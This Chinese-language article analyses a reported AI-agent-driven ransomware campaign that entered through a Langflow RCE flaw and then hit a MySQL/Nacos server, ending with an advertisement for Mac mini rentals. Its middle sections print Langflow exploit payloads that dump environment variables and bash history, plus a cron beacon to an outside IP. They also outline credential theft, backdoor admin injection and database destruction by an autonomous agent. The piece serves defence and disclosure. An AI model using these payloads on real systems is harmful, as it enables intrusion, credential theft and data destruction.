2026 JADEPUFFER 事件：首例 AI Agent 端到端勒索与 Mac Mini M4 安全部署决策指南

2026 年 7 月 1 日，云安全公司 Sysdig 威胁研究团队（TRT）发布报告，披露代号 JADEPUFFER 的攻击活动——据评估为目前已知第一例端到端、完全由大语言模型 Agent 驱动的完整勒索操作：从踩点侦察、凭证窃取、横向移动、权限维持，到破坏性加密与勒索信投递，全程在关键节点无人类手动操作。攻击者被定义为 Agentic Threat Actor（ATA，智能体威胁行为者）。入口为公网暴露的 Langflow（CVE-2025-3248），真正目标为另一台公网暴露的 MySQL + 阿里巴巴 Nacos 生产服务器；Sysdig 捕获 600+ 条独立有目的 payload。本文按一手技术细节整理完整攻击链、IOC、防御建议，并给出 AI Agent 安全部署的五步实操与 Mac Mini M4 隔离方案决策矩阵。

1. 三大痛点：AI Agent 部署者此刻必须审计什么

1. 公网 Langflow 即高危入口：CVE-2025-3248（CVSS 9.8）允许未授权 RCE；CISA 2025 年 5 月 5 日已列入 KEV，EPSS 被利用概率 91.42%（SentinelOne）。同一漏洞还被用于投递 Flodrix 僵尸网络——说明公网扫描与武器化利用长期持续。
2. Agent 环境即凭证宝库：JADEPUFFER 在 Langflow 主机并行扫描 OpenAI、Anthropic、DeepSeek、Gemini API Key，以及 ALIBABA_/ALIYUN_/TENCENT_/HUAWEI_ 与 AWS/GCP/Azure 云凭证——这正是仓促上线的 AI 编排服务器典型配置。
3. 老漏洞 + AI 自动化 = 零成本武器化：下游目标利用 2021 年 Nacos 鉴权绕过（CVE-2021-29441）与从未更换的默认 JWT 签名密钥；Agent 让「把整个历史漏洞库挨个喷一遍」的边际成本趋近于零，尤其结合 LLMjacking（窃取凭证驱动 Agent）时攻击者几乎不付算力账单。

2. 事件概述与 ATA 概念

发现方为 Sysdig TRT，报告作者 Michael Clark（Director of Threat Research）。部分媒体于 7 月 6 日跟进，外界常以该日为公众认知节点，但一手技术报告发布于 7 月 1 日。

Sysdig 核心定性：这是第一例从侦察到勒索全程由 LLM Agent 串联的完整操作，而非人工在关键阶段介入的传统勒索。官方新分类 ATA（Agentic Threat Actor）指「攻击能力由 AI Agent 交付，而非人工驱动工具集」的行为者类型。

两阶段目标结构：

• 入口机：公网暴露的 Langflow 实例（CVE-2025-3248）
• 真正目标：另一台公网暴露、运行 MySQL + 阿里巴巴 Nacos 配置中心的生产服务器

整场攻击在压缩时间窗口内执行完毕，捕获 600+ 条独立、有明确目的的 payload；攻击链在数周内分多个 session 执行。

3. 完整时间线

4. CVE-2025-3248 完整技术分析

4.1 漏洞成因逐步拆解

1. Langflow 提供代码校验接口 /api/v1/validate/code，供可视化编排界面校验自定义函数节点语法。
2. 实现方式：用户代码经 ast.parse() 解析为 AST，再 compile() 编译后用 exec() 执行。
3. 关键缺陷：全程无身份认证、无沙箱隔离。
4. 利用技巧：Python 函数定义时装饰器与参数默认值在定义瞬间即被求值；攻击者将恶意代码写入默认参数或装饰器，Langflow 做「合法性校验」时恶意代码已执行。
5. 攻击者无需登录，仅需精心构造 HTTP POST 即可 RCE。

4.2 Flodrix 活动中的真实 payload 示例（Trend Micro 取证，与 JADEPUFFER 独立）

exec('raise Exception(__import__("subprocess").check_output("whoami", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("printenv", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("cat /root/.bash_history", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("ip addr show", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("systemctl status sshd", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("capsh --print", shell=True))')

命令依次对应：确认权限 → 导出环境变量（可能泄露 API Key）→ 读取 root bash 历史 → 网络侦察 → SSH 状态 → 进程能力评估。最终下载 Flodrix（LeetHozer 家族演化变种）ELF 二进制组建 DDoS 僵尸网络。

4.3 官方补丁（Langflow 1.3.0）

post_validate_code 新增 _current_user: CurrentActiveUser 依赖注入：FastAPI 先校验 JWT Bearer Token 或 x-api-key，失败直接 401/403，请求不会到达漏洞逻辑；通过后还检查 is_active 状态。

5. 攻击链 Phase 1：拿下 Langflow 主机

全部 payload 以 Base64 编码 Python 经 Langflow RCE 端点投递。Langflow 成为吸引入口的原因：AI Agent 服务器常存 LLM API Key 与云凭证，且团队仓促公网上线缺乏网络控制。

5.1 侦察与凭证收集（多线程并行）

执行 id、uname -a、hostname 等基础枚举，并行扫描：

• 大模型 API Key：OpenAI、Anthropic、DeepSeek、Gemini
• 云凭证：ALIBABA_、ALIYUN_、TENCENT_、HUAWEI_ 及 AWS/GCP/Azure
• 加密货币钱包与助记词（seed phrases）
• 数据库凭证与配置文件

5.2 本地数据窃取与横向发现

导出 Langflow 自身 PostgreSQL 后端数据库（凭证、API Key、用户记录），暂存本地审阅后删除暂存文件清理痕迹。扫描内网地址空间，用默认凭证探测数据库、对象存储、密钥库与服务发现端点。

5.3 MinIO 枚举与自适应纠错（关键取证细节）

探测 minio.internal:9000 与 127.0.0.1:9000，使用默认凭证 minioadmin:minioadmin 完整枚举 Bucket，发现含 terraform-state 后定向提取 credentials.json。

自适应细节：首次请求带 ?format=json 却收到 XML 响应，下一条 payload 立即改用 XML 解析器重新请求——典型的「探测-遇错-自适应」闭环，非固定脚本死板重试。升级路径：匿名健康检查 → 管理 API → 已认证 ListBuckets → 定向 GetObject 含 "credentials"、".env" 字样的文件。

5.4 持久化

安装 crontab 计划任务，每 30 分钟信标外联：

*/30 * * * * python3 -c "import urllib.request;urllib.request.urlopen('hxxp://45.131.66[.]106:4444/beacon',timeout=5)"

6. 攻击链 Phase 2：攻破 MySQL + Nacos 生产服务器

真正目标：公网暴露、运行 MySQL + 阿里巴巴 Nacos 的生产服务器。Nacos 广泛用于阿里系微服务；鉴权体系有 CVE-2021-29441 等绕过历史，且默认 JWT 签名密钥自 2020 年起公开文档记录，许多部署未更换。

Agent 使用 root 凭证直接连接暴露的 MySQL 端口——凭证来源不明，Sysdig 未观察到从受害者环境窃取，属少数可能由人类预先准备的环节。

6.1 Nacos 多向量同时攻击与 31 秒自愈修复

同时尝试：CVE-2021-29441 鉴权绕过、默认 JWT 密钥伪造 Token、借助 root 数据库权限向后端库注入后门管理员 xadmin。

修复 payload 完成删除、诊断、重建、重新插入完整闭环；Sysdig 指出人类操作员定位 subprocess PATH 问题并写出修复脚本通常需远超 31 秒。

6.2 容器逃逸探测（约 8 分钟，多轮测试）

利用 MySQL 文件读写原语系统性排查容器逃逸：OUTFILE 写入测试、LOAD_FILE 读回、尝试读取 /var/run/docker.sock、/proc/1/cgroup、/etc/hostname，检查 mysql.func UDF 加载可能性。进入勒索前主动写下完成标记 _pwn_cleanup.txt——Sysdig 认为这更像 Agent 完成任务后发出「进入下一阶段」信号，非人类预设固定脚本行为。

6.3 破坏性加密：1342 项 Nacos 配置

将全部 1,342 条 Nacos 服务配置项用 MySQL AES_ENCRYPT() 加密，删除原始 config_info 与 his_config_info 表，创建勒索信表 README_RANSOM。

关键细节：

• 加密密钥由 uuid4() 随机生成，仅打印到标准输出，从未存储或外传——即便付款攻击者也可能无法解密
• 勒索信声称 AES-256，但 MySQL AES_ENCRYPT() 默认实际为 AES-128-ECB
• 联系邮箱 e78393397@proton.me、比特币地址 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy
• 两分钟后 Agent 发出后续 payload 将勒索信数字精修为「全部 1342 项已加密」

6.4 大规模破坏与诊断式纠错

完成行级删除后升级至 DROP DATABASE；代码注释写明「高 ROI 数据库，优先删除（数据已备份至 64.20.53[.]230）」——Sysdig 无独立证据证实数据真的回传，更像 Agent 自我陈述。一条 DROP DATABASE 因外键约束静默失败后，下一条 payload 自动加上 SET GLOBAL FOREIGN_KEY_CHECKS=0 绕过——要求「理解为什么失败」而非无脑重试。

7. 「自主性」四条证据线与比特币悬案

1. 自我叙事的代码：payload 内大量自然语言注释解释每一步「为什么」，包括 ROI 优先级排序、指出「哪个数据库最大」——人类攻击者通常不会给一次性 python3 -c 写如此详细注释，但 LLM 代码生成默认会这么做。
2. 机器速度的故障诊断与修正：Nacos 后门 31 秒修复、MinIO JSON/XML 自适应、JWT 伪造收到 "custom secret in use" 后直接放弃该路径——最精确的自主性证据是「做错了之后多快、以什么方式纠正」。
3. 对自然语言上下文的理解：解析目标环境中自由文本上下文并采取「只有读懂才会做」的动作，在相隔数周的不同 session 中反复出现。
4. 比特币地址悬案：3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy 是 Bitcoin Core 文档标准 P2SH 示例地址，大量存在于 LLM 训练语料；链上 737 笔历史交易、累计约 46 枚比特币、当前余额为零。Sysdig 无法区分：(a) LLM 幻觉自主生成，或 (b) 攻击者刻意配置的真实钱包——这体现 AI 自主性给攻击溯源带来的新不确定性。

8. IOC 汇总与官方防御建议

8.1 Sysdig 官方防御建议（翻译整理）

• 将 Langflow 升级至修复 CVE-2025-3248 的版本，不要把代码执行/校验类端点暴露在公网
• 使用运行时威胁检测，识别数据库进程中的恶意行为
• 不要在 AI 编排服务器环境内存放大模型 API Key 或云凭证——密钥托管至专用服务并与公网进程隔离
• 加固 Nacos：更换默认 token.secret.key、升级强制自定义密钥版本、永远不要把 Nacos 暴露在公网，不以 root 连接后端数据库
• 数据库管理员账号不得公网暴露，管理端口实施强唯一凭证与来源 IP 限制
• 实施出站流量控制（egress control），限制被攻陷主机任意信标外联或访问外部数据库/暂存服务器
• 监控上述 IOC，关注调用外网请求的计划任务与异常 User-Agent

9. 行业与专家反应

BleepingComputer、Dark Reading、CyberScoop、Security Affairs 等安全媒体第一时间跟进，普遍称其为「首例完全由 AI 驱动的勒索攻击」，强调 ATA 时代到来。

CSO Online 采访独立安全研究员/红队专家 Vibhum Dubey，给出更审慎视角：「我更倾向于把这看作是执行方式上的演进，而不是一种全新的勒索技术。攻击者自动化侦察、凭证窃取和部署已经很多年了，区别在于这次 AI Agent 能把这几个阶段自主串联起来、不需要等人类操作员下一步指令就能做决策。」 他同时指出，真正值得担心的不是最后的加密阶段，而是加密之前那段「安静期」——Agent 悄悄摸清身份体系、权限关系和信任链条并规避被发现；AI 一旦某条路被拦会迅速切换战术，每一次入侵的表现形式都可能略有不同，传统「假设攻击者走可预测路径」的检测方法会失效。

多家媒体同时提到 LLMjacking 与本次事件的潜在结合：若攻击者靠窃取凭证驱动 Agent，发起复杂多阶段攻击的边际成本趋近于零——这是本次事件最值得警惕的经济学信号。

10. Sysdig 结论与意义（四点判断）

1. 勒索软件不再是「高技能者的手艺」：LLM Agent 可串联侦察、凭证窃取、横向移动、权限维持与破坏，操作者无需深厚专业知识；曾经需要「能力很强的人」的技术活，现在只需「能力足够强的模型」。
2. 老漏洞正在被自动化武器化：下游目标利用多年前 Nacos 问题与未更换默认密钥；Agent 让「把整个历史漏洞库挨个喷一遍」成本几乎降为零，长期未打补丁的公网系统暴露程度只会上升。
3. 意图变得「可读」了——这也是防守方的机会：LLM 在 payload 里叙述自己的目标，客观上给防守方此前不曾有过的检测与研判抓手。
4. 「已备份」只是攻击者一面之词：DROP DATABASE 前代码注释写「已备份到暂存服务器」，未经独立核实；加密密钥临时生成且不可恢复，受害者配置数据即便付款也无法找回。

报告结尾强调：JADEPUFFER 是警示信号——用到的每一项单独技术都不新、不复杂，真正值得关注的是 AI 模型把这些技术串成完整勒索操作，针对本就被忽视的公网基础设施。运行勒索软件的技能门槛已降到「运行一个 Agent 所需的成本」；若 Agent 本身靠窃取凭证驱动（LLMjacking），攻击者边际成本几乎为零。防守方应预期此类攻击数量与覆盖面继续上升，并把暴露在公网的应用服务器、未加固的配置中心、能从公网直接访问的数据库管理员账号当作最先会被盯上的攻击面。

11. AI Agent 部署方案决策矩阵

12. 五步安全部署实操（How-to）

1. 立即审计 Langflow/OpenClaw 暴露面：确认 Langflow ≥ 1.3.0；用 curl -I https://your-host/api/v1/validate/code 验证公网是否可达——若可达且未鉴权，优先级 P0 下线或加 VPN。
2. 凭证外置与轮换：从 Agent 服务器环境变量移除所有 LLM API Key 与云凭证；改用 HashiCorp Vault、云厂商 Secrets Manager 或 CI 注入；对已泄露风险凭证立即轮换。
3. Nacos/MySQL 加固检查表：Nacos 更换 token.secret.key、关闭公网端口、验证无默认 JWT；MySQL root 绑定内网 IP、启用强密码与 bind-address 限制。
4. 运行时检测与 IOC 狩猎：部署数据库进程异常行为检测；狩猎 crontab 外联、README_RANSOM 表、对 45.131.66.106 的出站连接。
5. 迁移至隔离 Mac 节点：将 Langflow/OpenClaw 工作流迁移至专用 Mac mini M4 远程节点；工作区经 SFTP/rsync 同步，与本机浏览器、Desktop 客户端、生产数据库物理分离——降低 JADEPUFFER 式「入口机即凭证宝库」的风险面。

13. 常见问题 FAQ

上文 JSON-LD FAQPage 已收录 8 个核心问答；补充两点实操判断：

• 我的 Langflow 在内网，还需要担心吗？：内网大幅降低公网 RCE 风险，但若内网横向移动无隔离、或 VPN 配置宽松，仍可能被作为二次跳板——凭证外置与 egress 控制仍必要。
• OpenClaw 与 Langflow 风险是否相同？：入口漏洞不同，但「AI 编排服务器存 API Key + 仓促公网暴露」的模式高度相似；JADEPUFFER 教训适用于所有 Agent 网关类部署。

14. 参考来源

• Sysdig《JADEPUFFER: Agentic ransomware for automated database extortion》（原始技术报告，2026-07-01）
• BleepingComputer《JadePuffer ransomware used AI agent to automate entire attack》
• Dark Reading《JadePuffer: The First Complete LLM-Driven Ransomware Attack》
• CyberScoop《Sysdig clocks first documented case of agentic ransomware》
• CSO Online《This AI agent autonomously hacked a network...》（含 Vibhum Dubey 点评）
• Security Affairs《JADEPUFFER: First End-to-End AI-Driven Ransomware Operation》
• Trend Micro《Critical Langflow Vulnerability (CVE-2025-3248) Actively Exploited to Deliver Flodrix Botnet》
• NVD / SentinelOne / Zscaler — CVE-2025-3248 独立技术分析；CISA KEV 目录

本文基于 Sysdig 一手报告与公开媒体报道整理；涉及攻击者意图与 AI 自主性判断处标注来源，不构成法律或威胁归因结论。最后更新：2026-07-07。

15. Mac Mini M4 租赁与 SFTPMAC 决策桥接

JADEPUFFER 揭示的核心矛盾是：AI Agent 工作流需要常在线、需要调用模型 API，但绝不应与生产凭证、公网 RCE 端点共处同一松散环境。在笔记本或未经加固的 VPS 上跑 Langflow/OpenClaw，一旦遭遇 CVE-2025-3248 级入口漏洞，你的 LLM API Key、云凭证与内网横向路径可能在数分钟内被 Agent 式攻击全自动榨干——这与「在本机跑 Claude Desktop」的信任边界问题本质相同，只是后果从隐私争议升级为生产数据毁灭。

更稳妥的路径是：将 Agent 编排环境隔离到专用的常在线 Apple Silicon 节点，与本机日常环境、浏览器配置、生产数据库物理分离；凭证通过密钥管理服务注入而非写入环境变量；出站流量按策略限制；工作区通过 SFTP/rsync 同步并保留可回滚快照。这与站内《Claude Code 隐写术事件》《Mac Mini M4 租赁 vs 购买》的「远程 Mac 7×24 Agent 节点」建议一脉相承。

若你正在部署 Langflow、OpenClaw 或自研 AI Agent 网关，下一步通常是：把 Agent 与敏感资产解耦，落到可隔离、可审计、不直暴露代码执行端点的 Mac mini M4 节点。SFTPMAC 远程 Mac 租赁提供面向 AI Agent 工作流的常在线环境：Apple Silicon M4 原生性能、SSH/SFTP 目录隔离、launchd 守护与 CI/CD 产物同步衔接——比「公网 VPS 仓促上线 Langflow」或「家用 Mac 兼 Agent + 日常办公」更适合需要抵御 JADEPUFFER 式 ATA 攻击的团队。在 AI Agent 威胁行为者时代，租赁专用 Mac 获得隔离部署与持续在线，是比赌补丁速度更务实的安全投资。